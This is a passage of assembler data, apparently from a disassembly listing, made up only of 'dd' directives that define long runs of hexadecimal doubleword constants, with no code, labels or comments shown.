		dd 731B5101h, 32AD07E3h, 0CD4C206Fh, 300B983Bh,	2DC2F1Ch
		dd 80FED74h, 0C58504FCh, 0E233BC04h, 13602575h,	40F6A5D6h
		dd 20F5EB7Dh, 4935069Dh, 0D6ACBE41h, 97011D46h,	0B9CC1ED7h
		dd 74467B85h, 708CDF8Bh, 8D33880Eh, 0A118F920h,	4FA6978h
		dd 0C740BC61h, 0AD121EBBh, 27395C7Eh, 0EB60866Fh, 820BC4h
		dd 24469F99h, 29600406h, 1F09BD10h, 0F58D2874h,	0BB660044h
		dd 8052C96Fh, 9497D1F7h, 0D40D9E49h, 2F48705Ch,	77D062F8h
		dd 0A4479D10h, 85ACE039h, 0BB03D0B7h, 0E3EAAEE0h, 0BF50A02Eh
		dd 35FF9F0Bh, 9069F842h, 0DC06BE63h, 7502850Bh,	0E2DC5E19h
		dd 0CA321AF8h, 11BC37E3h, 3CC78017h, 4B8A59E8h,	95F098D8h
		dd 5E2DBD25h, 691257AEh, 29ECD912h, 3729F780h, 6E0983EEh
		dd 0DC88D2C1h, 1546D6ECh, 4B67016h, 5D0771A2h, 79192589h
		dd 40E81439h, 8CD93600h, 429F355Bh, 5F947E14h, 0E2FA25A9h
		dd 70635B34h, 0A6754908h, 14DDE74Bh, 9CC1260Fh,	0EE75FB9Ah
		dd 0DC250E5Eh, 0CE25F677h, 42AE509Eh, 0F381011Fh, 3C4BD262h
		dd 30A3626h, 0A1A17D9Dh, 0C97CA7D8h, 0A9697981h, 3978E0D2h
		dd 605096C2h, 313E9075h, 335A03CCh, 0E759251Bh,	41FCBCB0h
		dd 566B0725h, 74586785h, 63B1C989h, 7F1500A6h, 4A80CF7Eh
		dd 0D9520006h, 0D59723A0h, 5904FAF1h, 47AF34Eh,	882512AFh
		dd 0AA002A3Dh, 0AB477243h, 0A9C2721h, 333B5EA7h, 7DD04B71h
		dd 0DF71E4Ah, 0A99D127Ch, 6E38AF34h, 0FFB7883Fh, 53529612h
		dd 0D472730h, 2C40074h,	55C8547Eh, 2CE55F5Bh, 8F4092Fh
		dd 40D1D096h, 874F0F1Ah, 198013E2h, 0CD8B0E46h,	2AB5BA07h
		dd 3510B175h, 12A0362Dh, 0EDBD2366h, 8C1DAC3Fh,	95F7D000h
		dd 0FA54C0A8h, 2B3126AEh, 0E2F412A1h, 0AA83Dh, 57FEF9ECh
		dd 8C0F7C61h, 0D162F5B6h, 2662C717h, 7097D616h,	7C8E018Ah
		dd 0BF646DC8h, 2597776Ch, 162C01F9h, 362E5B7Ch,	91598A6Dh
		dd 54CA4A23h, 0E7F65C25h, 306B25F6h, 0E85B69C6h, 0F9C2B4B7h
		dd 0FB73C65Fh, 2E499D0h, 5B3B06E5h, 9C5C770Ah, 0D443547Ah
		dd 9D6E0700h, 0B0D6686Ch, 66520360h, 5BAF12BEh,	82B9BCBCh
		dd 0E0C96B46h, 1F7754h,	0C0FA0E47h, 9C74C576h, 0D880622Fh
		dd 61194087h, 6D5BE9E2h, 726025A1h, 4B2D3F0Ah, 30C18B12h
		dd 39E38D86h, 7E70BDh, 2A470B27h, 508B536Fh, 8AC4409h
		dd 59B073F3h, 28E181Ch,	86E67FCDh, 4A40B914h, 8A396090h
		dd 4689DFECh, 0CA58CC2Ah, 5F565E18h, 0B59050C8h, 7C27D037h
		dd 70094B8Fh, 898544DCh, 0ABA17585h, 23FA3B2Ah,	46E0001Ah
		dd 17D67957h, 0C0C80897h, 3D059AC8h, 6FAF2CEFh,	0B220000Ch
		dd 81E6505Dh, 87ED2572h, 0F560CCC0h, 7A906125h,	2004E4F5h
		dd 17A62423h, 9163E24h
		dd 7FDBEF01h, 0D0C4B3E4h, 129BE02Fh, 0B83E6466h, 0CFDE5085h
		dd 4C84D752h, 7F80DF45h, 7DF8F143h, 7F2259Ah, 4F5F70C2h
		dd 0BFDC6088h, 2205DB54h, 8D6829AEh, 6E0032E2h,	69BAC995h
		dd 0A300DD54h, 0AD353130h, 57A9168h, 0B6D9700Ah, 0B974AFFBh
		dd 0B1C6AEEh, 0F8285161h, 0FF204064h, 2481D14Bh, 282EC8DCh
		dd 2EE17683h, 0C9A000E7h, 0F9086F1h, 251D3125h,	188F5F5h
		dd 20499002h, 903C1EC1h, 0C9F64A0Fh, 9CB3500Fh,	556EAFB2h
		dd 0BCD6FC00h, 0F3A513D8h, 672B9B17h, 0A8334B02h, 92EC75F6h
		dd 3957BF00h, 0E3E95819h, 6E16970Ch, 5B6C4749h,	88E024A6h
		dd 0B9599D23h, 595307h,	34BB029Bh, 4D45C3h, 0A0D01E93h
		dd 705426B0h, 0CC672325h, 0E9B51176h, 0D9C24A0Ch, 7A8DE6CBh
		dd 9635004Ch, 492A51D3h, 0D604B0F0h, 5914B7C8h,	4BE62AD5h
		dd 0FCAFDE0h, 7DA63297h, 0E02962C2h, 9F6FCE58h,	7E258B24h
		dd 0AC00FC14h, 298CD51h, 9127E80Ah, 4FF81D0h, 0D07F3B5Ah
		dd 7B4A6ADAh, 25AAC8h, 0D8540E19h, 0C09B2ABBh, 1A7A0101h
		dd 0F508EE3Ah, 81C6302Eh, 0D90F23CFh, 0AB6A3F72h, 0E1E3A5B3h
		dd 0F64A2EACh, 0EABAE096h, 0CA8301AAh, 0BE0333BBh, 0A7622E30h
		dd 0AF89250Bh, 0E0B079B4h, 68F4A229h, 9270E6ECh, 71E42F81h
		dd 0DE544389h, 0F3B87749h, 88F4377Ch, 0C9381B25h, 2D82D8AAh
		dd 2535BD31h, 2B44A45Ch, 740B00C7h, 351C007h, 19D6B5BDh
		dd 0BC4E8AF8h, 792E25FDh, 0D781820Dh, 865C6168h, 1018E942h
		dd 0D1F49FB3h, 798D093Eh, 5E92F3C9h, 60036B61h,	5F884C44h
		dd 794C4BBBh, 68C54ACBh, 0D0A111EBh, 8C69C44Ah,	8100BF94h
		dd 6B32A409h, 674E85h, 83865F48h, 59EFB906h, 4B62A912h
		dd 88217CE4h, 19DD98Bh,	3C854195h, 0A27E257Ah, 0AFCF001Ah
		dd 0CA892D06h, 9BDF5813h, 25018510h, 4A86CC5Bh,	2207F3B7h
		dd 4AEEA324h, 3268CAACh, 7202D48Bh, 827E827Ah, 57210DE5h
		dd 0B6200A94h, 0EF2ED663h, 7ABB2B85h, 5E990EEFh, 0D7B947F5h
		dd 0ED2FB301h, 2CAF092Fh, 46DE2F5Eh, 74A1001Ah,	80F15BD8h
		dd 0E55CC41Ch, 0F0B60Bh, 8199BC4Dh, 258F8623h, 5BD4D983h
		dd 0F62F26h, 60DBD0BFh,	165B509h, 0D289C5BEh, 0B76E7061h
		dd 0D313B537h, 61C1AB42h, 0E0FCEDFCh, 1A852F3Bh, 0CE6CBB05h
		dd 0B394141Fh, 5CB3E2C0h, 0BAC0272Bh, 0FAFCF55Ch, 0A7680BF3h
		dd 0A4022BDAh, 0BED72221h, 5A56B7E7h, 8BAD257Eh, 21BD1D40h
		dd 0E922F4Eh, 4B7758C9h, 60488861h, 0AAE68105h,	0AAB87F97h
		dd 8758DF04h, 5BBEF361h, 602BC0A1h, 0F059D2Ah, 697EE7B5h
		dd 0E240384Dh, 3FDC80B1h, 0E2CA8FD1h, 40974FCh,	0A242F9A8h
		dd 5CBEA76Fh, 0C27B5134h, 5603DFFh, 0C2EA6AE3h,	0B72102A9h
		dd 7BC2B8DBh, 28A9D8BBh, 294E1897h, 349527B5h, 8E7EE55Eh
		dd 0E13C5FF9h, 151430E2h, 268E1F4Bh, 958EA22h, 13AC7030h
		dd 5BF20140h, 0A005A703h, 2CC28F3h, 0A917EEE3h,	8F50120h
		dd 58E93785h, 0BB857430h, 0C4CED939h, 0A0B3C49h, 0BC51402h
		dd 0AA127E7Fh, 9192780h, 0B5CBF85Eh, 0FB73004Ah, 2125330Ch
		dd 299B5909h, 0B5570F3h, 18F9BD23h, 0B0BFEC77h,	24B709ABh
		dd 657205ABh, 50011120h, 57413E9h, 0A10D2248h, 0F39AAB03h
		dd 169A6D2h, 1F6C1A3Ch,	0FA960A22h, 0E22BAE69h,	9020B5CEh
		dd 0D002BB50h, 3776AC25h, 0F63180EFh, 0FC5D38Ah, 0A9779B07h
		dd 698081C0h, 87FDF67h,	20E59509h, 756AF909h, 4E80CE37h
		dd 0F03BA54Bh, 20409052h, 6805065Dh, 493E292Dh,	0A00152AEh
		dd 584A5A72h, 2AD233C0h, 8A491221h, 2919B3D9h, 7380DC51h
		dd 0A193DE71h, 0F65B4AC9h, 3116B23Dh, 0E986F8C6h, 95016F20h
		dd 74FC959Ah, 640E00DCh, 7D18D026h, 5D966E7Ah, 16A13640h
		dd 0DCF70051h, 0A6D6963Eh, 0C612B190h, 1A124A05h, 79F538AEh
		dd 5FD6F100h, 0DD025D44h, 516908B1h, 3CCA53E0h,	5E02E10Bh
		dd 9D31E036h, 0CB950E59h, 8182F7F8h, 5A6B5C03h,	0BE65034Dh
		dd 0BB8A800h, 9743FCF6h, 8F66309h, 0CC4A0110h, 0F701BD62h
		dd 425D04D8h, 0C86CC0C4h, 0B52C5A17h, 0A9C689E5h, 0A5637311h
		dd 90BF5F76h, 6802229Dh, 0C811CA45h, 7A802849h,	4FF5D78Ch
		dd 256AA033h, 0BA008181h, 384F0D39h, 172026BCh,	0F3126398h
		dd 6AE251F1h, 0B86F5Ah,	0EB885BE1h, 0C770C889h,	1950C288h
		dd 733FB964h, 5D408FF3h, 973EE026h, 9AB6C46h, 7C0A5E94h
		dd 0B8BC9D70h, 490604DCh, 9902CF80h, 2DC6029Fh,	3A614CC9h
		dd 0EB07E66Eh, 4214288Bh, 4C589BA5h, 0C5257898h, 92BBC717h
		dd 89AEB2F8h, 0F689F64Ch, 0AE793F00h, 5C2BF2B6h, 200790E0h
		dd 0FC4F03DDh, 0B74BD2ACh, 0E65AA19Fh, 0E5C93A2Eh, 1080B9BCh
		dd 6CDFD043h, 5BF9B213h, 292B66A1h, 7F1AD2B2h, 7201F235h
		dd 77B75984h, 0D925E94Bh, 95D859FBh, 850BB5D0h,	8EF242C6h
		dd 99D94B5h, 0AA088D50h, 95CF9CD7h, 0D9898399h,	2A0D752Dh
		dd 95A0B4CAh, 32133534h, 2FA98509h, 0B596013Dh,	0C175B92Eh
		dd 26D98529h, 0ED008114h, 526D34FBh, 3685D0A1h,	0DB691253h
		dd 16B221F6h, 4E467E30h, 2DDEB0D5h, 0A678C595h,	7605D68Ch
		dd 880FF02Bh, 13BB5842h, 0FA9B0CFh, 88074E81h, 0F8880173h
		dd 79B31256h, 2D61E35Bh, 7592DD53h, 635ABC09h, 0DCEA56BFh
		dd 88B99906h, 44AA34B7h, 84975108h, 5B091FD1h, 90B7A766h
		dd 0E2528967h, 0FB82048Dh, 80EFBF5Dh, 0B577239Fh, 5080754Bh
		dd 976EF380h, 7A7E410Bh, 6F4695DCh, 99DE8B28h, 0C27001ACh
		dd 11057B95h, 11204E09h, 4B93E39Fh, 3F3C8954h, 77C5499Bh
		dd 7C98BA5Fh, 0C84D55BDh, 25D052A0h, 0B6E29D1h,	1D279DF2h
		dd 0EBB75C0Fh, 66026E18h, 30F3D00h, 2DC09768h, 519607D3h
		dd 76EA8F77h, 8B0F0E25h, 0B9505FFEh, 282B7552h,	8D303140h
		dd 0DF8183BDh, 0A0E1221h, 0D6A6AD75h, 3000CC6Bh, 0DFE812A7h
		dd 0C94EF734h, 160C6920h, 0A22625D6h, 571C33C5h, 6EEA5E38h
		dd 92B84A71h, 9653D533h, 6050FAB8h, 790C6F6h, 0B795617Ah
		dd 0C4C0034h, 20466332h, 0F2EC409h, 0FCBF1183h,	0C881DA2Ah
		dd 91F1C116h, 41342E21h, 0F8D672FBh, 5177C575h,	3FF1C025h
		dd 2CB90505h, 9AAB135Ch, 9998D27Ah, 8BDD2D9Bh, 4F597A5Ch
		dd 0B4ECB179h, 0D0E03E71h, 0E1B35217h, 298D8004h, 0AC720F0Bh
		dd 38312EE1h, 3005C6FCh, 71578E94h, 443E9A00h, 58FDCC82h
		dd 6AAA02BBh, 0D0361D6Bh, 641EEF55h, 0FCF06115h, 3594047Ah
		dd 0E1814029h, 1761EBD5h, 0B4F419E9h, 0E2BFD958h, 9314556Ah
		dd 17793595h, 0C1A4ECD4h, 112D9D0Bh, 0DE20A87Fh, 0CB6DF983h
		dd 0A1ECC9C3h, 0B9F85EC9h, 2AB40413h, 82B696DEh, 98F55295h
		dd 9B95E18h, 536A01BAh,	76A909D7h, 4900DE47h, 0C912CE89h
		dd 0A20FF359h, 0F7EADD82h, 0CF5D7560h, 0BF75F5Eh, 0A4F09DA0h
		dd 0DC0AEB76h, 0AC884F14h, 2CFE6104h, 0BB9D40ABh, 4CD9B50Dh
		dd 0DC8A9017h, 0BB71947h, 0C0C66D8Bh, 0DD9D03E7h, 2BC90E4Eh
		dd 77A5F5E8h, 9B7EF178h, 0DC09C59Ch, 342AB0F1h,	0AA0394EEh
		dd 1AC86DDAh, 60C2ABC0h, 4B3E040Bh, 0EA8A0FB5h,	0F200AE8Ah
		dd 5B7A780Ah, 671CA72Bh, 0BF40391Bh, 0AFF3F9ABh, 528C179Ah
		dd 0A98304F7h, 53D14B06h, 0A80170FEh, 9C788C00h, 71F74C06h
		dd 0BCEB2580h, 0A116F965h, 0A7B032B7h, 1D02149Ah, 1F2D54B9h
		dd 0EAE58BDh, 0B8A9D781h, 26A3B22h, 0DCCFF4h, 46B5AEF6h
		dd 0E2E73112h, 15C497h
		dd 0B607E62Eh, 0B8783869h, 45A25313h, 8DC823FAh, 833B8ED0h
		dd 0D3074990h, 295B5FC7h, 520275C2h, 5BBB716Fh,	0E5D4D7FDh
		dd 1311CB49h, 0DFC85660h, 0D4EA3CA4h, 5A7EB589h, 18D54D82h
		dd 0DB480509h, 6B6238AEh, 1089FE40h, 2E177195h,	0F149A01h
		dd 0FA552A06h, 548A599Dh, 781CCC25h, 0ECD6B759h, 22B5D82Dh
		dd 0B3000DE8h, 73DF7D07h, 3FA544E7h, 310A321Eh,	801359C8h
		dd 668513B8h, 0C03CCFBEh, 0B9848B5h, 7C5F83E5h,	81B9A1D2h
		dd 9ECC3576h, 0FB269369h, 8C7B0BFBh, 0CE55EA12h, 1FECA025h
		dd 14202541h, 3DB520C4h, 0EFC207A4h, 0CC194068h, 0F09BF02h
		dd 56788B7Dh, 3C4DEBC7h, 3F2EE140h, 0B27E0038h,	9BE7D0DBh
		dd 0E44ADF80h, 2EBFCAB0h, 926B010h, 0C17C1E85h,	63D742C0h
		dd 206C0095h, 0A88CF8EAh, 81019151h, 0F69BB0EBh, 0E33A11CCh
		dd 31568266h, 249F59Dh,	68E43A5Bh, 4A294241h, 8019A1A0h
		dd 810F71E4h, 92334CFh,	6C0D7262h, 852C5101h, 0D882E4Bh
		dd 9830C566h, 8398AB5Ch, 52234331h, 38EF2D08h, 25E39C96h
		dd 16C0533Eh, 5238C781h, 0C01CA5EAh, 998D0F17h,	86123B85h
		dd 0EA70BA13h, 9033A9h,	79D19EC4h, 82384378h, 5F722BE4h
		dd 7725C84Bh, 9C85F2FAh, 5ABBD1C0h, 0E451E98Ah,	292DC18Ch
		dd 0BB322185h, 4C5000C5h, 0B5894755h, 0B3014A11h, 0B91777A8h
		dd 70AE7D3Ch, 15A1A72Fh, 0BA526103h, 0EC2F7A24h, 427E1F22h
		dd 3183142h, 17274DE9h,	6913FC60h, 0D1213762h, 38D98D0Bh
		dd 0C66125C1h, 99F58133h, 366527A5h, 8F8AF42Dh,	0E2B2D5BDh
		dd 0F3568F39h, 75950B0Ah, 5189091Dh, 41367119h,	0EE2C78ABh
		dd 1AE00BEDh, 571F15Ah,	1F510EECh, 1E89CCB1h, 0F356EA00h
		dd 0E3EFA302h, 0C5810063h, 37B0F705h, 0E4E359BFh, 4B12E4F3h
		dd 71E71A20h, 0B85D6A0h, 49C6ED07h, 0E01472A4h,	420051A2h
		dd 8DF2989Dh, 0D21FA022h, 80E69C91h, 0FA1E5D02h, 6F815C70h
		dd 518D2381h, 9DCB4808h, 16797AB5h, 7B0E97B9h, 639E008Fh
		dd 94A4BB92h, 55C62401h, 2D16110Dh, 310E1160h, 2F857F4h
		dd 23AEFCF3h, 5E608505h, 814B4748h, 0B79C7096h,	0D42583DEh
		dd 6550C9A6h, 0E8C4A114h, 51D8002Ah, 0B168CD21h, 50BC000Eh
		dd 262E56EFh, 3F909ACAh, 654B0D4Fh, 0DEBC5C61h,	4D16A324h
		dd 0B1476B25h, 0AE511585h, 4479C02Bh, 0D90219B8h, 0A9E86C1Dh
		dd 841E6363h, 0BAD22B44h, 25303520h, 26D90040h,	0B5339C73h
		dd 4B4B4529h, 60098A8Fh, 3277EE8Ah, 612E24E4h, 250381AFh
		dd 0DF8B1134h, 0F779532Eh, 6227A0AAh, 0F8B40029h, 1B952A6h
		dd 244EC58Dh, 310569F7h, 0AE16B585h, 242DDB2Dh,	844B6AA8h
		dd 0C4DFAF8Ah, 0EA14619Dh, 3280AE9Eh, 11929170h, 8EA21202h
		dd 7566A5DDh, 982FFBB0h, 7830F400h, 0D00504C0h,	39871261h
		dd 88BEE20Dh, 100EFC60h, 13B82CC0h, 0B5EC7FBDh,	0BC0127F8h
		dd 29FB3EBBh, 0A87A2413h, 75AE96D2h, 0CC2A13A3h, 354B518Ch
		dd 8712A38Ah, 804AF904h, 0BE9DA013h, 1279FA34h,	0E2029FF5h
		dd 61F892ACh, 0BC84B94Fh, 0CC79008Dh, 47699FE2h, 0A958EB68h
		dd 5C912F4h, 1885ADE3h,	9E7B04h, 43457188h, 7188EF7h, 296AE6DBh
		dd 0BE0B99Dh, 79FFC60h,	0A538F940h, 7FD4B262h, 21D304DCh
		dd 0B20983BFh, 0D44B00B8h, 56699C11h, 61DC00B0h, 8FD8085Bh
		dd 1A0537A5h, 0CE7ADD95h, 5627BCB3h, 0A51FC161h, 60D46095h
		dd 41C60D81h, 2FBC33EBh, 822911E0h, 262DD382h, 72196107h
		dd 410845D8h, 2A0EE5AEh, 1CC8C19Bh, 58B897C0h, 3755046Ch
		dd 0CC81234Ah, 0A300B185h, 0F669FCA4h, 12C56BF2h, 0E3E3EE57h
		dd 0C0384CE1h, 0F2C55C7Eh, 952F4818h, 4B3D8A00h, 39D3BE22h
		dd 1DF9049h, 5B2FBF50h,	7DEA04DBh, 4D00BB37h, 3A0D05DBh
		dd 0E9B98387h, 68167F5Ch, 5C6A6649h, 1D00DE0Fh,	68502B96h
		dd 48DE6392h, 9012BDBEh, 6D97B084h, 4140A016h, 0BF4A75FAh
		dd 1E89CDD9h, 815C332Dh, 0BD9E02E9h, 36D25815h,	7EB2E95Bh
		dd 9B4B797h, 0CF71F5B6h, 0B5CC609Dh, 16319999h,	0B823BD9Dh
		dd 9B02A4CCh, 5C1E52E7h, 0BB626F97h, 955CECCCh,	0BDBDD72Fh
		dd 0C8A21D12h, 0DD455301h, 23FF13EAh, 10210017h, 0BA936933h
		dd 0FB1F003Bh, 6B09BE18h, 5B1F3AAAh, 24D7BD29h,	816870BFh
		dd 470982E3h, 0F58908F4h, 0C7D42118h, 4E8F9B09h, 0E2869809h
		dd 7B1D008Eh, 515947D0h, 73BD5F30h, 8FF9ADFDh, 0D7E1DE92h
		dd 1AF05326h, 3801EDBDh, 51DF6B3Ch, 31D49Eh, 96B9D07Eh
		dd 504A3FB7h, 6700CAA2h, 906DDC5Ch, 0ECB4A8FEh,	4928811Ch
		dd 0DA098497h, 8D965F04h, 71C82ECFh, 0C4C602BEh, 0FE610904h
		dd 0DD49115Eh, 7B81E6B7h, 0D9FA71B7h, 0F029B131h, 0C1DC862h
		dd 0E0D38000h, 7E3C0A68h, 60C3A851h, 5DF0CC27h,	99251624h
		dd 0CD85C381h, 0AE458B57h, 75035382h, 0D886D6EEh, 529ADD00h
		dd 0A8921E05h, 72F20467h, 0A9800F50h, 53600002h, 9F9DBA58h
		dd 563D5BC4h, 82EADB7Ah, 557E3653h, 1D64E6CDh, 0ABD14060h
		dd 0A2057B76h, 198D936Ah, 0DB61DD49h, 0C9070A0h, 48D0B609h
		dd 441B7F2Eh, 0CE18EBA8h, 6FCF3317h, 3BC888EEh,	3BCB5F4Bh
		dd 2B09F15Ah, 9D4F5428h, 0CCD8B77Bh, 0FE42051Fh, 1A4676Ah
		dd 0E93BB7D0h, 9F2B5E3Fh, 4B32C440h, 2D9D40C9h,	0D65EBA1Eh
		dd 3075CBD7h, 0BA7C66Ch, 3D5B14D8h, 9D808637h, 1314507Bh
		dd 0FAB72561h, 681774E5h, 106FBC56h, 57034C00h,	6DB1998Ch
		dd 249101F2h, 9C633766h, 9D096052h, 53BD17F9h, 0D2FA4B2Ch
		dd 3034CA0Fh, 0FC021338h, 75E412EBh, 6293C8EEh,	12850858h
		dd 0FBE1534Dh, 3440B727h, 9B0551h, 0BAE289F5h, 69A8D454h
		dd 0BD5C8A3Fh, 599D88B4h, 0B40BA71Ah, 9EF13D5Dh, 0CC023FCBh
		dd 0DF8B363Fh, 91FF3557h, 7F5801Dh, 0E56D71Fh, 0CBD97FE6h
		dd 0DA5C0976h, 0FCF0A298h, 0F4DCB500h, 4914D6E4h, 2563B84Ah
		dd 0A356AB91h, 0B156B8E0h, 0DF140B2Ch, 0D48925C0h, 0C2C43B89h
		dd 0D5D31A00h, 0A2E58885h, 0F58D0917h, 6E65A4Bh, 5F26DDB4h
		dd 0BC028788h, 8A4C5FB1h, 962295FDh, 0B8F4BDE6h, 31B6055Fh
		dd 0C11CCF80h, 2A955554h, 15C8D29Ah, 402A08C2h,	9D1D4955h
		dd 0DD8A1238h, 0B7ECB097h, 6205B7DAh, 0B2CAEB05h, 16819509h
		dd 60E0455Eh, 28B3EEB8h, 27D47CB6h, 0E65E61C7h,	61746D6h
		dd 9F4D9940h, 0BD25698Eh, 5E4D2957h, 0E400DCB9h, 4292A877h
		dd 2534D1B3h, 0F2E22E91h, 85C415Fh, 4046F72Ah, 134B93C3h
		dd 66E7C1C4h, 3D2E8FB0h, 0A9970702h, 0D96A53A0h, 665F81E8h
		dd 0F00BCCB0h, 80005DE2h, 276EB1C8h, 0BA2DBD89h, 0BD5B5AE4h
		dd 0C5EFC224h, 0BFBCF873h, 5BF49B56h, 0A5D6EC2Bh, 312035AFh
		dd 0E0AD7395h, 0FD000733h, 93F90B11h, 78C19F0Ah, 3971291h
		dd 0C5C053B0h, 0E2B41303h, 0EFB10083h, 71D3B6E1h, 6F51073Eh
		dd 1108ABD0h, 24E4465Fh, 539552B2h, 7D89002Fh, 965B666Fh
		dd 0C29CED9Fh, 23CCB7C7h, 815482B5h, 256D5726h,	276019E4h
		dd 1D13A3F8h, 59A3B4BEh, 2D149D7Bh, 90011445h, 5B3096FEh
		dd 81FA4B0Ch, 0E84C6203h, 212B9D33h, 80044F10h,	0CFBDEDC7h
		dd 0FCD9B782h, 64A3CDF7h, 8078F91Bh, 0F8BAFE12h, 0F332277Ch
		dd 0BD1F9444h, 0C312C7ABh, 0E64BD3F7h, 40E0A7E8h, 2051E216h
		dd 0A175352Bh, 282FFC81h, 38962DDh, 121BF62Eh, 777B1259h
		dd 56787600h, 0E7864B71h, 5BD5A110h, 0B4850127h, 697AAAC6h
		dd 0F61C801h
		dd 0CB915907h, 20D4565Eh, 0BAB5F0B8h, 0B7AA7321h, 6F65F0h
		dd 0BD72B164h, 66E9FBF5h, 4D94C2B5h, 0B6E0EF3Bh, 2F3846ABh
		dd 0BB5D5800h, 0CA6590Dh, 6EC15B8Bh, 0E1051390h, 0E2148C01h
		dd 343A5B57h, 50A0A91Ch, 0F1E4CF6Eh, 0DDA38B95h, 8D6C664h
		dd 8B1F20EFh, 4AB890F9h, 2F9EF9B7h, 3D3777h, 0FC0EF1C1h
		dd 42D87EBBh, 0B59327A6h, 8E868CC0h, 0F4DACC2h,	78825B2Dh
		dd 0AA0037B5h, 0CD73ADCEh, 90297592h, 81F800C2h, 532665D3h
		dd 2E09BF2Bh, 782D5752h, 5869BDF9h, 0F18E5360h,	2C61D091h
		dd 0D4BDD6ECh, 6F380CA8h, 71A3C825h, 0BFF25A95h, 0B7E2BF4Dh
		dd 71EFC0A2h, 0EDBD1403h, 0CF402834h, 0BD244A4Dh, 978D835h
		dd 74799D1Fh, 0D4B47669h, 9561CE04h, 67C29972h,	0DC3B5CD1h
		dd 38EC5B00h, 0AA2E12E5h, 58D3256Fh, 0AE13DFE5h, 0B8B0B0B7h
		dd 8D2D01D4h, 2B54909h,	0EA53882Eh, 0F600D976h,	0B68DDE43h
		dd 99880F50h, 0C1BB01A6h, 5402B8D1h, 0C0A39BFDh, 0D3D5E9EBh
		dd 0D990171Eh, 0B28CEE60h, 1F79208Dh, 0ABC7BB7h, 81EBA9B5h
		dd 0F1BD2B61h, 90F67B2Ch, 0A580DCF4h, 0D5D92104h, 0BB806E03h
		dd 5AE995B3h, 897EE3B2h, 0D6C10B57h, 495CDEFAh,	3271108Ah
		dd 0D2B5291Dh, 5D482104h, 0D88B0126h, 0DA0A753Ah, 0E8B28142h
		dd 72ADAB7Fh, 203770AFh, 727CB867h, 0C7719A00h,	316313EEh
		dd 96D60E46h, 4F3807Eh,	0B16A5FFh, 8088D15Fh, 1BD26BBh
		dd 4F17974Dh, 923015F5h, 2E4D0C2h, 0AA2B60A2h, 0D7757Ah
		dd 5DABC35Fh, 81DA9D6Fh, 0D5B50909h, 79945714h,	20CB297h
		dd 0D733218Bh, 1C91B237h, 0F5287280h, 7CBFCF78h, 0FF6A09D4h
		dd 0B2801B37h, 13E01170h, 2560B88Dh, 22F30439h,	14FFF0D3h
		dd 2A3E4A0h, 80F6EC19h,	137445F3h, 0BF64F7CEh, 198C82FFh
		dd 94BFB004h, 3F80AB18h, 80103D95h, 799571E4h, 51F64929h
		dd 800C7869h, 952639F8h, 67B419ECh, 0C8A33540h,	3470E5Ah
		dd 5C220260h, 48770FA9h, 8616F92Bh, 17813AA0h, 250C5E82h
		dd 0B670654h, 0B11B5F2h, 0E4940ED7h, 66201E65h,	3217BEBFh
		dd 888886E9h, 5D9A2EC3h, 4E490EA1h, 0EB504405h,	41AC89D5h
		dd 0A971280h, 0E4FC7D6Bh, 22F18F36h, 5A9572F2h,	229BE31Eh
		dd 47BF0410h, 0BC67650Dh, 8D3181E9h, 8A6B26F5h,	36872894h
		dd 0E2B488ECh, 0E4BCD864h, 54AF2988h, 16CD08CBh, 1311BD9Eh
		dd 8422E24Ah, 162424DDh, 0B9538473h, 6B058EE9h,	0E6FFCD2Ch
		dd 0CE9538C2h, 5B589B0Ah, 2E4E5AF8h, 0A5230E07h, 33A0EF83h
		dd 8105019Dh, 2F10D1B9h, 0F400A67Ah, 308F3DE6h,	7127688Dh
		dd 1E3EC425h, 0D42C6585h, 35349C96h, 2894AB73h,	0B9B832BDh
		dd 0E77FD400h, 30B393D0h, 50C800A1h, 0A65EEB81h, 5B2F1E64h
		dd 8E4CF9FCh, 2D288D29h, 0E1367C25h, 0EDC02BDAh, 517448Dh
		dd 0AE2AF18Eh, 20BE4B65h, 0EFD13CC8h, 0F5D98109h, 3B18FDFFh
		dd 290C3B1Ch, 0F0475D53h, 2B1A4531h, 1CC8059Fh,	7A6E1AC0h
		dd 9DA70571h, 0E98CE7ABh, 3DF5B921h, 7A0AA57Bh,	0D81338F6h
		dd 0AAD3BC1Ah, 8A9E912h, 0BD623DD1h, 374FFD21h,	3D24A41h
		dd 8A13EF20h, 820085D1h, 0F4F5AC3Fh, 313A391Fh,	0BD5E5187h
		dd 35C47989h, 0D9743005h, 0CBAB43A2h, 0CC1AB2ABh, 117A0061h
		dd 9580BCAh, 0DF38817Dh, 0DEBAB929h, 0FAE4B6B6h, 0B0914FD4h
		dd 282F107Ch, 0BDBF7ECDh, 19788951h, 3361CF98h,	0C4B6E801h
		dd 0EEE48CF4h, 0B94A4D68h, 1639E84Ch, 0B9374A93h, 0C19AD2E0h
		dd 8D01FD80h, 1312672Fh, 9EBE1FFh, 8E5E0452h, 2DD8E773h
		dd 4F12B4D6h, 0E88E0F2h, 5E317BA8h, 8B3F084Eh, 0C3BD282Fh
		dd 4DDE6AE9h, 0D5F8C39Dh, 0EC94EA5Ch, 0D791266h, 8091DFABh
		dd 298239F2h, 7AD21BDh,	3377C9A5h, 90EF8110h, 3C494A11h
		dd 12EAEC9Fh, 0B529BC18h, 16A80BADh, 0D7D5750Eh, 0BC5E0CCCh
		dd 34192785h, 400DC13h,	310F56B7h, 6B5AD88Bh, 20590C58h
		dd 0AC41D300h, 28B8E717h, 4DD36F08h, 5F30D5A7h,	0B9605030h
		dd 9182830Ch, 31F31A41h, 0E56E9061h, 88E72E01h,	0D7710AE0h
		dd 41478800h, 37BF9ED8h, 0E360EF3h, 0AC2268F9h,	7C6EA7Bh
		dd 7A9A400h, 9D37EEC3h,	0E10600FBh, 0EB9C8B2Fh,	0BD13018Dh
		dd 0B9FC4B82h, 40DFB4D4h, 316DAFFCh, 56129CA8h,	0F7B05B4Dh
		dd 0A3571697h, 0E1AAF615h, 342BE222h, 0CE1B80C6h, 0B4BCBF3h
		dd 132EA4CDh, 9204EAFBh, 9EAE0203h, 0CA058587h,	0F51A09FFh
		dd 0F6735Ch, 4E88E805h,	0B31FBDECh, 9233713Ah, 0D9AB2C09h
		dd 0FE923A7h, 89D50C45h, 9CC37A88h, 0A804F411h,	91FB8687h
		dd 2EA809EAh, 1E97A5Eh,	89582625h, 809751F2h, 0DF4BF381h
		dd 0B1936E8Ah, 0D6C425h, 0E80BBA83h, 0D993365Eh, 0B6330701h
		dd 54412BADh, 498162Fh,	90EB91Bh, 0EA216350h, 8ECD5534h
		dd 48C055E9h, 0FE25659Fh, 0F66BE22Bh, 3500F6ACh, 72F01BC0h
		dd 4A61D3E6h, 0B557ECA0h, 0BF02ACE8h, 521CCECh,	0B5E2DC44h
